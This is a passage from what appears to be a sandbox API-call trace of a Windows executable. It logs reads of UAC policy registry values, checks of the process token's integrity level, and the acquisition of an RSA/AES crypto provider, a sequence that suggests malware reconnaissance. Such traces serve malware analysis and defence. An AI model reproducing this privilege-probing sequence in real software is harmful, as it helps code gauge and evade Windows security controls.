Flags=0x8, Size=0x40) returned 0x1dc2d0 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db9e0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.039] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db998) returned 1 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db998 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1db9a8 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1e8 [0164.039] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.039] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.040] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1f8 [0164.040] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.040] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0164.040] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.040] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db878) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc438) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db888) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc558) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db898) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc510) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db930) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc4c8) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db860) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc480) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db968) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc3f0) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db978) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc3a8) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db988) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc360) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db940) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc318) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db950) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc2d0) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db9d0) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc288) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db9e0) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1f8) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db998) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc1b0) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db9a8) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc168) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd1e8) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd1f8) returned 1 [0164.040] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.040] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.041] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x41f9f0, lpData=0x0, lpcbData=0x41f9f8*=0x0 | out: lpType=0x41f9f0*=0x4, lpData=0x0, lpcbData=0x41f9f8*=0x4) returned 0x0 [0164.041] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x41f9f0, lpData=0x1dc240, lpcbData=0x41f9f8*=0x4 | out: lpType=0x41f9f0*=0x4, lpData=0x1dc240*=0x5, lpcbData=0x41f9f8*=0x4) returned 0x0 [0164.041] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.041] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.041] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x10) returned 0x1dd5e8 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1f8 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc0d8 [0164.041] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd1e8 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc240 [0164.041] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd208 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc120 [0164.041] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd218 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc168 [0164.041] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x20) returned 0x1db860 [0164.041] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd5e8) returned 1 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd228 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1b0 [0164.041] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd238 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc1f8 [0164.041] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd248 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc288 [0164.041] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd258 [0164.041] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc2d0 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x30) returned 0x1db930 [0164.042] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db860) returned 1 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd268 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc318 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd278 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc360 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd288 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc3a8 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd298 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc3f0 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc480 [0164.042] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1db930) returned 1 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2a8 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc4c8 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2b8 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc510 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2c8 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc558 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x8) returned 0x1dd2d8 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc438 [0164.042] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x41f8e4, lpcchValueName=0x41f8e0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x41f8e0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.042] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.042] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.043] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.043] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.043] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.043] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.043] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.043] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.043] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc0d8) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd1f8) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc240) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd1e8) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc120) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd208) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc168) returned 1 [0164.043] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dd218) returned 1 [0164.043] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x41f9f0, lpData=0x0, lpcbData=0x41f9f8*=0x0 | out: lpType=0x41f9f0*=0x4, lpData=0x0, lpcbData=0x41f9f8*=0x4) returned 0x0 [0164.043] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x41f9f0, lpData=0x1dc480, lpcbData=0x41f9f8*=0x4 | out: lpType=0x41f9f0*=0x4, lpData=0x1dc480*=0x1, lpcbData=0x41f9f8*=0x4) returned 0x0 [0164.043] RegCloseKey (hKey=0x24) returned 0x0 [0164.043] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x41fa68 | out: TokenHandle=0x41fa68*=0x24) returned 1 [0164.043] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x41fa64, TokenInformationLength=0x4, ReturnLength=0x41fa60 | out: TokenInformation=0x41fa64, ReturnLength=0x41fa60) returned 1 [0164.043] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x41fa54 | out: TokenHandle=0x41fa54*=0xa0) returned 1 [0164.043] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x41fa50 | out: TokenInformation=0x0, ReturnLength=0x41fa50) returned 0 [0164.043] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.043] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x1dc5a0, TokenInformationLength=0x14, ReturnLength=0x41fa50 | out: TokenInformation=0x1dc5a0, ReturnLength=0x41fa50) returned 1 [0164.044] GetSidSubAuthorityCount (pSid=0x1dc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0x1dc5a9 [0164.044] GetSidSubAuthority (pSid=0x1dc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0x1dc5b0 [0164.044] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc5a0) returned 1 [0164.044] NtClose (Handle=0xa0) returned 0x0 [0164.044] GetSystemInfo (in: lpSystemInfo=0x41fb9c | out: lpSystemInfo=0x41fb9c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0164.044] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x6c) returned 0x1db860 [0164.044] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc5a0 [0164.044] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0164.044] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc480 [0164.044] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc438 [0164.044] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc558 [0164.044] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc510 [0164.044] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x5000) returned 0x420048 [0164.045] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc4c8 [0164.045] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc4c8) returned 1 [0164.045] CryptAcquireContextW (in: phProv=0x41fbb0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41fbb0*=0x7de7d0) returned 1 [0164.058] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x420048) returned 1 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1db8d8 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1db960 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc4c8 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1db9e8 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dba70 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc3f0 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x80) returned 0x1dbaf8 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc3a8 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x5000) returned 0x420048 [0164.059] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc360 [0164.059] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc360) returned 1 [0164.059] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0164.110] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x420048) returned 1 [0164.110] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7d8648, lpbSaclPresent=0x41fb64, pSacl=0x41fbb8, lpbSaclDefaulted=0x41fb64 | out: lpbSaclPresent=0x41fb64, pSacl=0x41fbb8, lpbSaclDefaulted=0x41fb64) returned 1 [0164.110] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc360 [0164.110] CreateEventA (lpEventAttributes=0x41fbac, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0164.110] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc360) returned 1 [0164.110] GetLastError () returned 0x0 [0164.110] LocalFree (hMem=0x7d8648) returned 0x0 [0164.110] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc360 [0164.110] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x5000) returned 0x420048 [0164.110] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc318 [0164.110] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc318) returned 1 [0164.110] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0164.111] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x420048) returned 1 [0164.111] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7d8648, lpbSaclPresent=0x41fb64, pSacl=0x41fbb8, lpbSaclDefaulted=0x41fb64 | out: lpbSaclPresent=0x41fb64, pSacl=0x41fbb8, lpbSaclDefaulted=0x41fb64) returned 1 [0164.111] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc318 [0164.111] CreateEventA (lpEventAttributes=0x41fbac, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0164.111] RtlFreeHeap (HeapHandle=0x1d0000, Flags=0x0, BaseAddress=0x1dc318) returned 1 [0164.111] GetLastError () returned 0x0 [0164.111] LocalFree (hMem=0x7d8648) returned 0x0 [0164.111] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x40) returned 0x1dc318 [0164.111] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x5000) returned 0x420048 [0164.111] 